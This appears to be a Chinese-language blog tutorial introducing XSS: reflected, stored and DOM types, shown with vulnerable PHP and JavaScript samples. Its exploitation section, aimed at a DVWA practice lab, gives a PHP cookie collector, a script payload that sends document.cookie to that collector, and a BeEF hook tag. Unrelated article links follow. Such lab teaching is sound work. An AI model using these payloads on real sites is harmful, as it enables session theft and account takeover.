[前端web安全]XSS漏洞基础入门
前言

XSS漏洞
Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS漏洞是一种在WEB应用中常见的安全漏洞,它孕育用户将恶意代码植入web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行。
XSS漏洞的危害很多,可以通过XSS漏洞获取客户端信息(cookie),可以通过XSS蠕虫进行信息传播,可以再客户端中植入木马,可以结合其他漏洞攻击服务器,在服务器中植入木马
我们可以参考这张图的攻击场景,用户男发给用户女一段含有XSS攻击的代码,此时用户女触发后用户女的cookie数据传递给了用户男,此时用户男就可以利用这段cookie登陆用户女的账户。

XSS漏洞分类
xss漏洞分为三种分别为:反射型、存储型、DOM型
1.反射型
利用反射型XSS漏洞植入的恶意代码不会存储在服务器端,一般容易出现在搜索页面,需要构造植入恶意代码的web页面,诱骗受害者访问该页面,才能触发攻击。
测试代码:
<?php
if (isset($_GET['name'])) {
$name=$_GET['name'];
echo "<h1> Hello ".$name."<h1>";
}else{
exit();
}
?>
这段代码是接受用户get传进来的参数赋值给$name变量 打印到页面中 我们看到这段代码没有任何过滤 所以此时我们传入<script>alert("xiaohua")</script>
Payload: http://127.0.0.1/test.php?name=<script>alert("xiaohua")</script>
此时XSS漏洞触发 利用方法在最后面部分!

2.存储型
利用存储型XSS的恶意代码在服务器中,一般植入留言板、个人信息、文章发表等功能的页面中。如果页面对用户输入的数据过滤不严格,恶意用户将恶意代码存储到服务器中。这种类型的XSS漏洞危害非常严重,因为恶意代码会存储到服务器中,客户端每次访问服务器都会触发恶意代码


3.DOM型
DOM型XSS漏洞是基于文档对象模型(Document Object Model)的一种XSS漏洞
DOM参考这里: https://www.w3school.com.cn/htmldom/index.asp
示例代码:
<script type="text/javascript">
function domxss(){
var str=document.getElementById("input").value;
document.getElementById("output").innerHTML=str;
}
</script>
<h2 id="output"></h2>
<input type="text" id="input" value="">
<input type="button" value="submit" onclick="domxss()">
代码中domxss函数,此函数通过DOM将input节点的值作为变量赋予output节点
当输入xiaohua时,通过domxss函数会将output节点赋值为xiaohua
如果输入<img src=1 onerror=alert(/xiaohua2020/) />时通过domxss函数会将output节点赋值为<img src=1 onerror=alert(/xiaohua2020/) />页面会由于执行错误而出发弹窗
无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。

XSS漏洞利用
1.例1-本地搭建页面盗取cookie
本地服务器创建cookie.php页面 输入此内容用于接收cookie传过来的值 存入cookie.txt折个文件
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
打开榆林学院信息安全协会搭建的DVWA平台 选择XSS(Refilected) 反射型XSS页面在输入框输入<script>alert("xiaohua")</script>回车看到弹窗说明存在XSS漏洞
榆林学院信息安全协会DWVA平台平带地址:http://101.201.65.164/DVWA/

我们利用本地搭建的盗取cookie的页面进行构造:<script>document.location="http://127.0.0.1/lou/cookie.php?cookie="+document.cookie</script> 输入进去回车

查看本地获取cookie页面的根目录cookie.txt文件打开可以看到成功获取到了cookie

例2-利用BeEF盗取cookie
BeEF安装目录:/usr/share/beff-xss
默认管理页面:页面:http://127.0.0.1:3000/ui/panel 默认用户名密码都是beef
利用脚本<script src="http://127.0.0.1:3000/hook.js"></script>
反射型例子
填入访问即可获得coolie到beef客户端
DWVA是外网的架构在我们榆林学院信息安全协会训练平台的服务器上大家可以访问进行练习:
http://101.201.65.164/DVWA/login.php

成功盗取

推荐资料
资料:
XSS漏洞实例
链接:https://pan.baidu.com/s/1NcPQapMMjehMQSXrF3qH_g
提取码:hpoh
书:
《web前端黑客技术揭秘》
《XSS跨站脚本攻击剖析与防御》
[前端web安全]XSS漏洞基础入门的更多相关文章
- Web安全之Web 安全介绍与基础入门知识
web安全介绍与基础入门知识 安全与安全圈 甲方与乙方 甲方:如腾讯,阿里等需要安全服务的公司 乙方:提供安全服务产品的服务型安全公司 web与二进制 web,研究web安全 二进制,研究如客户端安全 ...
- XSS漏洞基础
什么是XSS? XSS全程Cross-site scripting,跨站脚本攻击.恶意攻击者往Web页面里插入html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用 ...
- Linux系统WEB服务之Nginx基础入门
一.Nginxi简介 Nginx是什么?它是一个开源.高性能的WEB服务器软件和代理服务器软件,由俄罗斯人Igor Sysoev 开发实现.它的功能主要分三类,第一是它作为一个WEB服务软件使用:第二 ...
- 阶段5 3.微服务项目【学成在线】_day02 CMS前端开发_03-vuejs研究-vuejs基础-入门程序
本次测试我们在门户目录中创建一个html页面进行测试,正式的页面管理前端程序会单独创建工程. 在门户目录中创建vuetest目录,并且在目录下创建vue_01.html文件 <!DOCTYPE ...
- WEB应用之httpd基础入门(二)
前文我们聊了下httpd的一些基础设置,聊了下httpd的配置文件格式,长连接.mpm的配置以及访问控制基于文件路径和URL管控,回顾请参考https://www.cnblogs.com/qiuhom ...
- WEB应用之httpd基础入门(四)
前文我们聊到了httpd的虚拟主机实现,状态页的实现,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12570900.html:今天我们来聊一聊后面的常用基础配 ...
- WEB应用之httpd基础入门(一)
前文我们聊了下http协议web服务的一些常识和httpd服务器软件三种响应模型的简单介绍,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12515075.ht ...
- WEB应用之httpd基础入门(五)
前文我们聊到了httpd的启动用户和相关权限的说明,资源压缩配置.https的实现,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12593675.html:今 ...
- WEB应用之httpd基础入门(三)
前文我们聊到了httpd的路径别名.访问日志定义.basic认证配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12561236.html:今天我们来聊一聊 ...
随机推荐
- [阿里DIN] 深度兴趣网络源码分析 之 如何建模用户序列
[阿里DIN] 深度兴趣网络源码分析 之 如何建模用户序列 目录 [阿里DIN] 深度兴趣网络源码分析 之 如何建模用户序列 0x00 摘要 0x01 DIN 需要什么数据 0x02 如何产生数据 2 ...
- 对于某东平台XX娃娃的用户体验进行(严肃、限速)数据分析
前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理 本次的爬取目标是某东的一个商品,但从来没有用过,所以本人很好奇.我们就采集这 ...
- update不能直接使用select的返回结果
update不能直接使用select的返回结果,这是会报错的,这是SQL的语法规定的,若想在update中与select结合使用,sql需要这样写: 1.其中field1,field2为表中的字段名 ...
- xib使用
xib和storyboard都可以建立应用程序的视图.他们的主要区别在于,xib用于创建应用程序的局部视图,storyboard用于创建应用程序的整体视图. xib是storyboard的前身. xi ...
- log4j日志级别怎么搞
日志的级别之间的大小关系如右所示:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF Log4j建 ...
- 项目 git 仓库允许服务器访问
我们 deployer 的运行机制是从 git 或者其它你指定的代码库 clone 代码到目标服务器,所以如果你的代码不是公开的仓库,我们通常需要添加 SSH 公钥才可以从代码库 clone 代码,所 ...
- Hive Sql的日常使用笔记
date: 2019-03-22 17:02:37 updated: 2020-04-08 16:00:00 Hive Sql的日常使用笔记 1. distinct 和 group by distin ...
- 十八般武艺玩转GaussDB(DWS)性能调优(三):好味道表定义
摘要:表结构设计是数据库建模的一个关键环节,表定义好坏直接决定了集群的有效容量以及业务查询性能,本文从产品架构.功能实现以及业务特征的角度阐述在GaussDB(DWS)的中表定义时需要关注的一些关键因 ...
- Java学习的第四十七天
1.用类函数来写时间类 import java.util.Scanner; public class Cjava { public static void main(String[]args) { T ...
- Yii2使用数据库操作汇总(增删查改、事务)
查询 //1.简单查询 $admin=Admin::model()->findAll($condition,$params); $admin=Admin::model()->findAll ...